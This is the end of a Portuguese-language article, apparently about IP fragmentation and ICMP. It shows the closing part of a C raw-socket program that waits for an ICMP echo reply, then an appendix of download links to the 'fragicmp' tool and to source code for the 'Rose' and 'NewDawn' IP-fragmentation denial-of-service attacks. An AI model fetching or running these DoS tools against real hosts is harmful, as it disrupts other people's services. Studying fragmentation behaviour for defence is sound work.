      sel= select(sockicmp + 1, &redfs, NULL, NULL, &tim);
      if (sel == 0)
      {
            fprintf(stderr,"TimeOut...\n\n");
            return 1;
      }

      recvbuff = (unsigned char*) calloc(1, 0x38);
      if (!recvbuff)
            { fprintf(stderr,"\nImpossivel alocar Memoria!\n\n");
                  close(sockicmp); close(mysock); exit(-1); }
      ip= (struct iphdr *) recvbuff;
      icmp= (struct icmphdr *) (recvbuff + sizeof(struct iphdr));
      tamrem = sizeof(struct sockaddr_in);

      do{
        n= recvfrom(sockicmp, recvbuff, 0x38, 0, (struct sockaddr *) &remoto, &tamrem);
        if (n == ERR) fprintf(stderr, "\n\nErro em Recebimento de dados Reply.\n\n");
        }
      while(alvo.sin_addr.s_addr != remoto.sin_addr.s_addr);
      fprintf(stderr,"Host [%s] responde c/ Echo Reply e %d Bytes de Dados - TTL [%d]\n\n",
inet_ntoa(remoto.sin_addr),  n, ip->ttl);
free(dados);
close(mysock);
close(sockicmp);

return 0;
}

-------------------------------------| Corte aqui |-----------------------------------
```

---

## ANEXOS

http://www.hexcodes.org/tools/fragicmp/fragicmp-0.2.tar.gz
(Pacote Fragicmp)

http://www.hexcodes.org/tools/fragicmp/fragicmp-static.tar.gz
(Pacote Fragicmp compilado estaticamente - x86 Linux)

http://www.hexcodes.org/tools/fragicmp/rose.c
(Código de Rose Attack (Denial of Service com Ip Fragmentação)

http://www.hexcodes.org/tools/fragicmp/newdawn.c
(Código de NewDawn Attack - Denial of Service com Ip Fragmentação)

http://www.hexcodes.org/tools/fragicmp/modelo-frag.pdf
(Modo de uso para fragmentação IP- Modelo de Paxson e Shankar).

-EOF-

---